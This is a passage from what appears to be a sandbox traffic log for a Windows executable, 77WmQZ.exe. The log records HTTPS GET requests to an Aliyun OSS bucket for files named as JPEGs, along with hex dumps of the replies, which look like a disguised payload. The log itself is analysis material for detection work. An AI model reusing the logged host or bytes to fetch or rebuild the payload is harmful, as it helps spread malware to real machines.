2025-01-15 03:23:14 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:13 GMT Content-Type: image/jpeg Content-Length: 55085 Connection: close x-oss-request-id: 67872A21818A31363395CE6A Accept-Ranges: bytes ETag: "DC44AE348E6A74B3A74871020FDFAC74" Last-Modified: Tue, 22 Oct 2024 14:47:46 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12339968747348072397 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 3ESuNI5qdLOnSHECD9+sdA== x-oss-server-time: 27
2025-01-15 03:23:14 UTC	3549	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: 7c 7c 7b dc 41 c2 74 77 75 74 73 65 91 8f 90 91 11 ee 84 95 e3 bf 11 84 3e 34 dc 9d f4 97 48 c7 b1 a3 a4 fc 59 d2 a0 41 56 56 53 52 9d 74 f3 32 cf a3 b4 c1 be dd b0 51 f7 a8 bc bd e7 7c 28 d0 d2 c3 c4 06 4d 38 9d 42 26 a1 cc a7 ce 30 a5 d9 3a 10 2a 2a 29 54 1c d5 87 18 57 22 8b 54 0c 8b e2 89 e5 1a 93 ef 00 44 14 14 13 6e 2a e3 ad 32 98 f2 9e f5 9c f7 10 64 04 04 03 7e 3a f3 c3 6b 03 69 05 6f 06 ef 86 f7 f5 f4 8f c9 02 cc 9b ee 44 fb 09 1f 16 17 93 e9 4c f3 1d 06 1e 1f 76 c9 ae 39 24 25 70 cf c4 3a 2a 2b 7a c5 5f 35 30 31 64 db 68 2f 36 37 6e d1 7e 23 3c 3d 68 d7 be 40 42 43 12 ad 48 55 48 49 22 dc 5a 0d 4e a7 3f 58 52 53 d7 91 72 f4 54 f9 1a 5b 02 9e d5 a0 35 ea 8e 32 35 36 ed 3a 60 3f 3d 58 9a 5e 91 e6 0d 8d 49 6f 89 65 d6 37 78 0d 73 3c f5 00 82 fc 7f Data Ascii: \|\|{Atwutse>4HYAVVSRt2Q\|(M8B&0:*)TW"TDn2d~:kioDLv9$%p:*+z_501dh/67n~#<=h@BCHUHI"ZN?XRSrT[5256:`?=X^Ioe7xs<
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: f7 81 d9 46 b5 47 c8 2a 32 3c cc 8d d3 4c 5c f9 22 b5 d4 95 f2 68 ad 99 9a 9b 9c 16 da bb b0 28 ce 87 b4 28 ca 83 b8 82 4a f8 fa fa 0f ab 10 f1 b2 82 f1 49 85 72 e8 30 df 53 43 c8 46 34 85 3d 05 86 38 3b 39 38 37 40 8f 33 41 88 3e ab 73 d1 d2 d3 d4 16 5d 9a 28 bd 53 d6 dc dd de df b9 be bd bd bf 6e 03 ba b9 2a 26 27 20 21 22 23 3c 3d 3e 3f 38 7e 09 a2 73 15 79 17 e4 ae 75 a2 0c 57 89 70 0c 36 33 03 a8 49 0a 5c 87 0b c8 4a ef 11 d5 56 e0 14 16 17 18 94 61 0b 9f e5 e0 6b 2d aa 6c 27 27 ea 15 2b 10 c1 c9 c2 d3 d2 a5 61 3c ba 74 3b 37 fa 05 3b 00 d1 e9 d2 c3 c2 b5 7a 48 b7 02 47 22 4a c3 51 49 49 4a c0 01 5d c3 1a b8 d8 01 af df 0e 5a de 1d b1 d3 16 b0 de a5 a1 14 3e ef 2a 64 e8 62 3c e3 25 ec 7f e1 29 e8 7f f9 34 82 f8 74 fc 33 8f fd b0 0e 6f f7 aa 96 23 aa Data Ascii: FG2<L\"h((JIr0SCF4=8;987@3A>s](Sn&' !"#<=>?8~syuWp63I\JVak-l''+a<t;7;zHG"JQIIJ]Z>*db<%)4t3o#
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: f7 b4 7b f0 8e 6c 82 e3 8e 63 f7 7e 71 70 c9 52 c4 f9 94 6a a3 4b 2c d9 9a 64 89 3d 1e df a0 24 62 d6 b2 4d ab 51 57 56 21 5b 53 b8 a6 2f f0 b1 e2 5b 09 40 49 48 31 bf e3 53 aa 4d 41 40 03 4a 3d 96 4f 29 4d 92 c0 9a 9c 9c ff 32 f5 18 a4 d6 59 8e d8 ee 09 a0 c6 31 03 2e 23 22 b4 c9 be 68 d2 b4 b3 b2 b1 b0 00 8b 1f 14 13 6e 2a fb 7b 37 ad ad af a8 35 7c 8d e9 c1 0c 89 fa cd 3f 66 88 00 e8 d0 8e cc 08 bf 0f 6c 82 0d 4c 4f 49 56 77 29 d4 60 16 5d 62 f6 2a da 20 c3 68 cd 79 a9 23 ca b3 d1 da d9 4d 0a 70 a3 23 a7 dc c5 9c bb ce 67 b8 d8 63 61 04 ce c6 4f 33 d4 84 23 3f 40 ca ba 1a c1 ba 33 60 71 4c 36 fd 0c 4d 38 50 06 ae 47 1f d4 15 56 da de b1 59 5b 5c 66 5b 23 d6 21 62 15 67 e6 ae 98 e3 99 e9 93 93 18 a4 e4 b7 2e 2c 2e b7 fe 89 22 f3 95 2c 2c 4f 8b 14 7f 7f Data Ascii: {lc~qpRjK,d=$bMQWV![S/[@IH1SMA@J=O)M2Y1.#"hn{75\|?flLOIVw)`]b hy#Mp#gcaO3#?@3`qL6M8PGVY[\f[#!bg.,.",,O
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: c6 82 84 85 0f ca 78 02 84 c2 05 c0 72 79 51 90 9d 16 47 97 96 97 cb 14 86 aa 17 8e 17 ca 54 2a f4 5f 2d f0 5e 2c fd 5d 23 f6 a0 5b 6c ae c5 c5 73 49 b0 ff 35 4d 87 cf b9 d1 83 e7 35 f4 c4 fa 89 cb b1 87 7d c7 c8 c9 4a 48 36 ed bd d6 5b 1b 01 38 59 99 d4 d3 2f 0a fb 87 64 99 20 d6 95 c2 69 ae ec c4 ff 0c f4 64 a0 0b 3f 06 63 a3 f2 f5 05 20 d5 69 4e 33 f8 f9 fa 05 f5 88 f8 74 4d 09 23 5a 00 8e 5b 0b 83 5a 02 80 57 09 85 42 ec 12 5f e7 9d 4f 12 9c 4d 15 91 41 18 96 4c 17 a9 72 2a aa 69 d9 ad f6 e9 d3 2e 61 af d7 11 59 33 5b 0d 69 bf 68 ce b4 db 38 b3 66 c8 32 bb b0 40 41 42 68 31 bd cd 1a b0 88 b1 4f 26 72 c7 3a 5c 1a 0c 68 8a 23 54 dc 86 5a 17 a3 d7 8c 9f a5 64 2b eb 2e 98 5e b0 11 6a e2 bc 50 b6 19 30 e4 3d 7d f9 02 70 4e 07 7f 0d 42 c4 7b 7c 7d fe fc 7b Data Ascii: xryQGT_-^,]#[lsI5M5}JH6[8Y/d id?c iN3tM#Z[ZWB_OMALri.aY3[ih8f2@ABh1O&r:\h#TZd+.^jP0=}pNB{\|}{
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: 7d 96 50 05 c6 87 03 51 b1 54 f9 c1 b7 b2 40 27 d2 93 e0 a6 c0 7f 0c 42 65 64 c5 18 5e 90 25 d3 5d 5c 5b 2e e3 b7 93 6e a5 2f fc 52 51 50 77 b1 be b3 b4 b5 5f f2 47 46 45 88 43 36 cb b3 aa c5 2a 87 17 3a 39 9e 0b f2 15 be c1 46 8b df eb 16 a6 d5 13 d5 da d7 d8 d9 51 18 34 28 11 20 1f 22 88 f3 8c ad 70 a7 e8 01 49 24 13 12 65 b2 f8 74 29 86 fa 0a 83 fb 10 04 07 04 03 a4 17 33 01 01 02 88 71 09 83 f1 7d 05 59 e3 2f d2 f1 f0 49 f8 a5 12 14 15 95 2a a0 ae 5a 1b 1f 12 9b 8c 21 21 22 10 db ac 5b c3 ab d7 ca 24 ab a7 2f 2f 30 5b 36 db 99 e6 c9 c8 61 b0 47 c7 6f d5 d9 d1 bf be 1b ca 01 a5 7d 80 47 cd d4 4b 4c 4d 75 7a f0 e6 12 53 23 1c 00 04 08 b1 93 a8 a3 a2 dd 9b 6c e4 a2 17 61 ec 3b 83 83 5c 3c 83 f4 9b 91 90 29 f8 37 97 4f b2 02 50 f3 3a 86 33 47 bb 0c 7d 0b Data Ascii: }PQT@'Bed^%]\[.n/RQPw_GFEC6:9FQ4( "pI$et)3q}Y/IZ!!"[$//0[6aGo}GKLMuzS#la;\<)7OP:3G}
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: f0 8e 79 76 23 7b 77 ad 1f fb eb cd 8e 04 6f 66 4b 6c b0 18 b6 f0 d8 99 17 d2 9c 16 59 25 a3 a1 a2 a3 27 5c a2 d5 a4 2a 4a a8 87 65 51 8b 35 c5 d4 f3 b4 4a 92 3a c8 de fa bb 2c 39 d8 ff c0 69 a4 83 c4 15 a0 87 c8 43 8c c8 ef 1c 46 88 d3 52 3c d2 15 3c d4 54 37 d8 59 22 d4 af 6c 22 13 44 1e 1c c0 70 96 80 a8 e9 67 a2 ec 67 a8 ec d3 20 7a b4 f7 7f b0 f5 39 10 f8 73 bb ff 7d 11 02 82 ed 01 87 fc 0e 75 80 f4 f9 ae f0 f2 2a 9a 60 76 52 13 84 9f 50 14 3b c8 92 5c 1f 97 58 1d a8 66 20 a9 62 24 e7 ce 2a a1 6d 2a af c3 2d ac df 32 b1 ca 3c 3a b4 61 c7 c6 c5 c6 cf 98 c2 c0 64 d4 32 24 04 45 cb 0e 48 6d 2d 0b 4c 61 29 0f 50 65 35 13 54 69 31 17 58 1d 3d 1b 5c 11 39 1f 60 35 05 23 64 02 01 27 68 e2 2e e5 70 e4 2a e0 6c fa 36 fd 6c fc 32 f8 60 f2 3e f5 68 f4 3a f0 94 Data Ascii: yv#{wofKlY%'\JeQ5J:,9iCFR<<T7Y"l"Dpgg z9s}u`vRP;\Xf b$m-2<:ad2$EHm-La)Pe5Ti1X=\9`5#d'h.p*l6l2`>h:
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: f7 ed e5 e7 ea e2 a8 fd e5 ab e5 e3 e7 fb f9 f0 fe fa ee f0 b6 ff fd f8 ea 96 96 9d 9e 9f a0 f3 94 93 96 92 ab ad 85 89 c4 c4 d8 8d cb c1 df c4 d5 db 94 c6 c6 d6 db dc 9a dd d3 cf 9e d3 af b6 ab ac e4 ac a8 ae bc a0 ab a7 a5 b7 af bb b9 be bc de de d5 d6 d7 d8 8b ec eb ee eb d3 d5 cd c1 8c 8c 90 c5 83 89 87 9c 8d 83 cc 9e 9e 8e 93 94 d2 95 9b 87 d6 84 8c 9d 93 94 dc 94 90 96 74 68 63 6f 6d 7f 67 73 61 66 64 06 06 0d 0e 0f 10 43 24 23 26 20 1b 1d 35 39 6a 6e 6e 78 3e 69 49 53 56 56 45 49 06 41 5d 47 49 5f 45 42 40 0f 53 50 5e 5f 39 3f 36 37 38 6b 0c 0b 0e 09 33 35 6d 61 2c 2c 30 65 23 29 27 3c 2d 23 6c 3e 3e 2e 33 34 72 35 3b 27 76 08 37 37 3f 23 35 29 71 3e 14 04 1a 0a 10 45 12 06 0a 05 0f 66 66 6d 6e 6f 70 23 44 43 45 4c 7b 7d 55 59 0f 15 1d 1f 12 1a a0 Data Ascii: thcomgsafdC$#& 59jnnx>iISVVEIA]GI_EB@SP^_9?678k35ma,,0e#)'<-#l>>.34r5;'v77?#5)q>Effmnop#DCEL{}UY
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: 82 83 84 09 79 78 77 89 8a 8b 8c 73 71 70 6f 8a b2 d3 94 8a b6 d7 98 99 9a 9b 9c 63 61 60 5f a1 a2 a3 a4 71 59 58 57 a9 aa ab ac 53 51 50 4f b1 b2 b3 b4 01 94 f7 b8 47 45 44 43 bd be bf c0 02 e0 83 c4 3b 39 38 37 c9 ca cb cc 15 31 30 2f d1 d2 d3 d4 2b 29 28 27 d9 da db dc ab fa 9f e0 1f 1d 1c 1b e5 e6 e7 e8 6b ce ab ec 13 11 10 0f f1 f2 f3 f4 2d 09 08 07 f9 fa fb fc 03 01 00 ff fb 2a 43 04 fb 2e 47 08 09 0a 0b 0c f3 f1 f0 ef 11 12 13 14 c1 e9 e8 e7 19 1a 1b 1c e3 e1 e0 df 21 22 23 24 b2 0c 67 28 29 2a 2b 2c d3 d1 d0 cf 31 32 33 34 e1 c9 c8 c7 39 3a 3b 3c c3 c1 c0 bf 41 42 43 44 e3 6b 07 48 49 4a 4b 4c b3 b1 b0 af 51 52 53 54 8d a9 a8 a7 59 5a 5b 5c a3 a1 a0 9f 6a 4d 23 64 7a 49 27 68 69 6a 6b 6c 93 91 90 8f 71 72 73 74 b5 89 88 87 79 7a 7b 7c 83 81 80 7f Data Ascii: yxwsqpoca`_qYXWSQPOGEDC;98710/+)('k-C.G!"#$g()+,12349:;<ABCDkHIJKLQRSTYZ[\jM#dzI'hijklqrstyz{\|
2025-01-15 03:23:14 UTC	4096	IN	Data Raw: ea ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee 95 96 97 98 99 9a da de de da da e6 e6 ea ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 6f 90 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	64401	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:15 UTC	115	OUT	GET /FOM-51.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:15 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:15 GMT Content-Type: image/jpeg Content-Length: 4859125 Connection: close x-oss-request-id: 67872A23F9085333322C61D4 Accept-Ranges: bytes ETag: "EE6CA3EEA7F9B1C81059AEF570A28C02" Last-Modified: Tue, 22 Oct 2024 14:48:26 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9060732723227198118 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 7myj7qf5scgQWa71cKKMAg== x-oss-server-time: 27
2025-01-15 03:23:15 UTC	3548	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-15 03:23:15 UTC	4096	IN	Data Raw: 42 cc 3b 8b 04 80 dc 85 89 f7 db 86 4b ce 35 a8 af fe 41 fa 0c 61 84 11 0a 1b 74 3d 42 1d 8b ea 87 f2 e5 bc 47 e4 9b f0 a1 6a 44 3d f7 aa 85 fc 7c 66 99 44 42 66 08 55 a3 c2 72 d1 08 6f b1 b4 88 fb 14 6d f7 a2 e6 b1 0a 4b a7 cc 8d 43 ca 42 55 ba 2d 50 3b de 75 e4 69 e5 a6 45 fe 3f 88 51 f2 8f 9a e2 49 ea ad 5a da 33 4e a3 3e d5 c6 6e c7 d1 e8 c5 06 f1 38 15 6c 30 51 e9 b2 ec bd f6 b7 43 20 6c 37 8a c5 69 36 0c 71 9e eb 37 4c 5e 64 2d ba 15 c3 be 23 92 69 e8 07 8e 31 8e 32 59 a6 f5 54 50 cc a6 0d cb 70 1b 9f a8 37 28 8e 8c a8 b6 58 2d d6 5f 3e e5 51 37 e9 fc c0 79 61 49 dc 37 0b d7 f9 38 30 21 a3 63 4a 50 26 80 0f ad 3c d1 89 c4 d8 15 09 d3 5c 40 7c a4 b7 fe fc 2d 89 04 24 ad d9 e2 58 57 f8 d2 39 21 f1 85 1f 5d ae 5b 62 f2 2d 86 49 5e 70 f6 14 48 c1 63 66 Data Ascii: B;K5Aat=BGjD=\|fDBfUromKCBU-P;uiE?QIZ3N>n8l0QC l7i6q7L^d-#i12YTPp7(X-_>Q7yaI780!cJP&<\@\|-$XW9!][b-I^pHcf
2025-01-15 03:23:15 UTC	4096	IN	Data Raw: 55 c7 be c5 78 ee 64 cd 2e 33 d8 00 81 41 01 fc 96 f3 c2 68 5b e3 86 3a 52 14 eb 36 47 9c d8 8b 1b 75 f9 f2 3e 9e 6a 5c af ac 2d 01 59 f6 e4 ed f8 06 96 96 25 32 d9 55 c2 2b cd d9 43 84 c0 8f da 8a 2e 4e 40 af e4 ef 68 35 b1 db 47 6c 13 6a 58 3b 70 ee a1 fc f0 ea cf 6e ad 25 29 22 ee a3 88 45 8b c6 2a 08 f5 8e fe d9 90 64 31 57 f5 7b 69 f4 88 ee 13 ee 88 13 dd fe 62 86 d5 85 88 9b aa 98 eb ae 62 7e dd 59 12 19 69 99 a8 6c 0d 6f 92 a5 a3 77 6e d0 53 bb 17 f4 5f d6 e6 1f 4a cf 6d f7 92 79 05 8e d4 33 04 97 04 b6 95 73 06 7a e5 99 05 66 48 93 78 17 26 6e e6 6b 89 ba b3 4a 9a d7 ee e1 45 2d c4 d9 46 38 58 a3 e7 df cb c0 a8 8b 48 54 ab ab c9 2b 10 28 f1 1f 7e 00 6d 13 0b 8f 10 81 c8 3f 99 d0 f4 09 6e a8 37 1d 0d 72 39 87 d5 f2 12 b6 cb fa 95 c3 25 72 27 66 14 Data Ascii: Uxd.3Ah[:R6Gu>j\-Y%2U+C.N@h5GljX;pn%)"E*d1W{ibb~YilownS_Jmy3szfHx&nkJE-F8XHT+(~m?n7r9%r'f
2025-01-15 03:23:15 UTC	4096	IN	Data Raw: 45 e5 5e 68 30 58 bc f3 3c 4c f2 55 29 ac 64 46 5d 3a 9d 79 a5 77 53 ff 44 c3 e1 4a bd ab 8a bd d4 75 ea e1 2a ee 82 37 b9 6b 8b 4d 69 c9 72 b7 c8 66 c5 06 1b db fb d1 44 d1 f5 36 5b 9f 70 43 e3 b9 cc 9d 24 02 a0 15 1a ee 33 51 a6 de 11 4b 6e 87 8e 08 53 81 c7 39 1d bd 06 98 20 7a 9b 47 b4 aa c5 34 08 11 e2 e2 77 2e 0a 28 8a 33 9b 65 f3 3a 67 17 4e 17 e5 d0 55 59 0e 94 52 4b da e3 d0 7a 25 77 a6 34 0e aa 88 bd f9 1f a8 08 f8 42 83 d2 79 43 2f 04 cc aa cd fb df 7b c0 14 58 c6 51 a2 5e 37 42 12 e5 22 53 12 9f 78 be b5 39 59 c1 b2 1b 55 3b d8 b9 8f e2 36 93 6c 44 d2 80 9d 04 d2 7c 54 bb a2 23 a2 95 da 63 2d 43 a0 da 70 ab 87 c5 6b ef 95 b1 2a bd 9b 5e 30 06 ef 83 ea 01 6e 63 4c 04 68 89 7a 93 34 80 33 0b 68 86 5c 60 2f 6b 05 3f d6 5f 19 77 94 92 45 e3 e4 5c Data Ascii: E^h0X<LU)dF]:ywSDJu7kMirfD6[pC$3QKnS9 zG4w.(3e:gNUYRKz%w4ByC/{XQ^7B"Sx9YU;6lD\|T#c-Cpk^0ncLhz43h\`/k?_wE\
2025-01-15 03:23:16 UTC	4096	IN	Data Raw: c3 8f ae 6b a3 4e 8c 8c 89 8a 8b bb 66 fa 15 1c 40 d7 45 6a 0d 3c 0a ea 62 81 9f 9c 9d 9e b3 ea 13 ac cb d0 8f f2 eb dc 40 32 33 15 5f dc 2b 1c db c0 69 be 0d f5 9a fc b0 a5 8c 0d 14 ff 63 f5 b9 a4 8d b4 ad be 22 34 78 e5 cc 65 24 7e f7 de d1 9a 58 cb 99 5d 98 d0 31 c2 08 cf dd 57 4b b4 a1 1c 1c 1b b7 d4 3e 65 a5 e6 e3 12 2f 65 7b e1 ee 0d 0c 0b fa 6d b3 dc fd 3b 87 d8 fc 7c 7e dd 05 02 03 04 6d 3f 57 b6 57 83 5f 29 0d 83 6b 34 1d fb 27 35 0f 16 ff 3b 16 00 1b 13 18 f6 b1 66 21 22 45 ad 33 ab 43 0c 2d c3 cf b7 0c 2e 49 3f 87 34 b9 62 37 5e 2b 2f 1b 64 ba fa 3f 3e 3f 40 43 80 25 cd 43 cb 23 6c 4d a3 0c bf 51 4e c4 67 da 15 57 3c e4 e7 7f b8 99 36 7f 5e 9c 51 d2 37 d9 7b 63 80 ac 75 5b 79 44 1a 33 ad 95 60 78 00 1d 23 18 b0 aa 39 1f 25 1a a3 fc d2 ed 9d d9 Data Ascii: kNf@Ej<b@23_+ic"4xe$~X]1WK>e/e{m;\|~m?WW_)k4'5;f!"E3C-.I?4b7^+/d?>?@C%C#lMQNgW<6^Q7{cu[yD3`x#9%
2025-01-15 03:23:16 UTC	4096	IN	Data Raw: 2c 4d a6 a0 20 85 bf 62 23 7d 82 17 a5 30 de 99 08 fd bd 71 3f 39 61 73 43 04 d3 d0 32 6b df ec 1f f3 aa 3d 7b 0a ac d4 c6 23 eb ed fa 6d 34 b5 ed 0c e2 bd 2c ed e9 83 bc 4d 87 be 3e 5f 02 ba 42 ba da 19 39 86 8b 76 98 c3 52 60 65 25 e5 a0 40 e2 e2 87 c6 57 a0 12 c5 86 50 1e d8 82 61 b1 e8 7b 70 85 f2 3b b7 dd 68 1e f0 82 30 32 37 c7 33 54 06 4a a4 ff 6e be 09 90 75 b8 64 7a 3e 21 db ce 6f 5c 64 44 b9 59 00 93 ff 91 7d e8 f9 20 94 90 60 c8 6f 44 97 f9 8e b9 3f 4e a3 4f 16 b9 47 f2 81 03 6a 69 e2 21 55 c2 e5 97 52 04 26 ef ae c8 f0 44 77 88 66 31 a0 58 9d 00 de 3e a6 b9 c8 84 84 87 db 90 d9 4b f7 1b 42 d5 22 bd 5d b8 39 1d f5 0a 38 c0 d7 f6 11 bc a9 e2 0c 57 c6 d6 d2 a9 8d 6a 24 3b 74 4e 4b d1 a2 f8 51 7c c5 b8 66 61 13 6e 3f 61 be 64 71 7e 98 bf 08 7c a7 Data Ascii: ,M b#}0q?9asC2k={#m4,M>_B9vR`e%@WPa{p;h0273TJnudz>!o\dDY} `oD?NOGji!UR&Dwf1X>KB"]98Wj$;tNKQ\|fan?adq~\|
2025-01-15 03:23:16 UTC	4096	IN	Data Raw: 94 13 4b ba 59 94 28 79 a8 e0 04 9d d9 34 71 d1 8c 52 64 54 a0 2b 3c 9c 31 d6 31 5f dd b0 e1 72 5d e3 d3 0b c9 a4 8c fb 2c 74 4a 06 21 9f e8 77 ac 0e 7a 81 04 97 79 d9 a7 dd 40 e7 17 4f ab a4 75 32 04 32 e1 14 a8 64 5f 11 ea c6 56 50 d4 0e a9 a2 60 f3 93 c9 f3 5b a6 1a 47 9d 93 21 ea 45 f3 4d b6 6f fb a9 28 33 1d 5a 7f 16 47 e8 cf ef 81 45 43 18 41 ba 88 08 34 0b 76 70 e2 cb ca 69 b2 1e ec 31 ce 87 99 c8 ea 75 26 3c 60 26 76 99 85 6f 63 0e 0a a5 9a c7 af 0b ca ae 36 08 d2 74 3d 9c 9f c4 1f ad bf b0 84 3c 40 df 89 dd 19 5a d3 d7 79 ab d7 2e 2a a0 76 2f e6 75 8b 65 39 ad 89 15 b0 7f fa 18 c5 c7 ac b2 d7 44 6c f2 c9 cc af e9 40 b3 57 30 a5 f3 1f f5 06 cf 73 14 18 f9 0d 72 f7 19 79 98 57 e5 11 81 1a 41 9d 8f a7 7d ea 03 5c 14 65 f8 a6 73 dd d4 70 b3 48 cb 66 Data Ascii: KY(y4qRdT+<11_r],tJ!wzy@Ou22d_VP`[G!EMo(3ZGECA4vpi1u&<`&voc6t=<@Zy.*v/ue9Dl@W0sryWA}\espHf
2025-01-15 03:23:16 UTC	4096	IN	Data Raw: 7e 30 df f0 37 2c a5 37 4f 4c e2 13 7c d1 f8 91 c5 fa be cf 9e 00 28 6a dd ff a3 dc ca c7 5f af 65 39 20 43 0f 76 27 75 a7 a8 f1 fa 94 9f e4 b0 f7 a8 82 87 3b 0a 53 b7 20 93 c5 42 21 59 4a 44 cf 6d 00 01 ce a2 49 10 81 c0 c4 c2 ee b6 e5 6b df 46 07 d3 21 07 58 b3 27 fb fe f2 08 3e bc 0d 03 78 9c 6a b4 0f 93 15 14 83 ae 77 c8 e3 dc db 3a e9 9b 9d 1c c6 8a 7b 52 97 8e 19 85 b7 fb c2 a6 6b fd 94 63 78 f1 63 13 10 63 6f 18 d5 92 b6 d1 b7 a2 84 9b d4 90 d9 84 fc ef a5 a6 c5 ba b6 64 c7 fe d4 d4 23 c0 71 8e e4 e7 87 ee e0 7b 41 ab 03 0e d0 58 f4 61 98 ac 8a bc 7f 9b 4c 5a 39 6c 26 9a c8 d3 6c b4 71 fa 5a e7 33 7a 60 25 a6 5a 83 a7 05 e0 89 ab f3 71 7b 1f 34 10 5a c9 8f 29 a8 53 58 fe 56 32 96 b8 9e 3a d9 ee 0c 60 09 71 b5 2b 70 55 a8 b7 e2 8b 6b 95 ad 89 2f ca Data Ascii: ~07,7OL\|(j_e9 Cv'u;S B!YJDmIkF!X'>xjw:{Rkcxccod#q{AXaLZ9l&lqZ3z`%Zq{4Z)SXV2:`q+pUk/
2025-01-15 03:23:16 UTC	4096	IN	Data Raw: e7 04 8e cb 30 d6 37 73 19 58 f3 d5 05 6a d7 87 a6 a4 b9 8e a3 5d cc d5 8b 34 ca e2 6a a0 78 0e e3 7b 1c 29 5a a6 5b 55 62 f1 e6 be 23 a0 43 ad e5 d7 92 f7 b3 96 4f 03 54 71 e0 f1 af 06 a6 f0 00 d1 7e 0a b5 f4 09 e0 28 9e fb 47 84 32 32 1b 8a 9f c1 2e bc e2 8e a0 2e ff 90 dd 7e c7 83 94 f3 d0 5a 05 5e 0b 2c b3 a4 f8 4a e7 0f 49 f6 3d ff 18 c0 83 1f 5d f8 00 bd db 23 65 28 8b 33 a9 4d 2b 81 26 66 9c dc 18 b6 96 f5 c0 bf 49 34 bb da 49 5e 06 d6 0f 1c e9 ba c4 8c 4c bb 0d 49 a4 6a fd d0 ef 7e 6b 35 34 10 92 02 52 67 16 58 07 e6 47 e0 dc bb dc 14 5e a1 d9 f0 67 70 2c ed fa 8f ca 33 6f ad 4f 2b e0 78 1e f0 18 a4 c5 e4 02 81 a3 0f 9f 0e 1b 45 92 27 fc 39 cc be 57 c0 4c f8 c9 c4 77 47 d4 ac 33 24 78 3d f0 d1 e4 b8 d2 ce 88 69 21 65 3a 2c 1f 95 b1 20 31 6f 2a 06 Data Ascii: 07sXj]4jx{)Z[Ub#COTq~(G22..~Z^,JI=]#e(3M+&fI4I^LIj~k54RgXG^gp,3oO+xE'9WLwG3$x=i!e:, 1o*
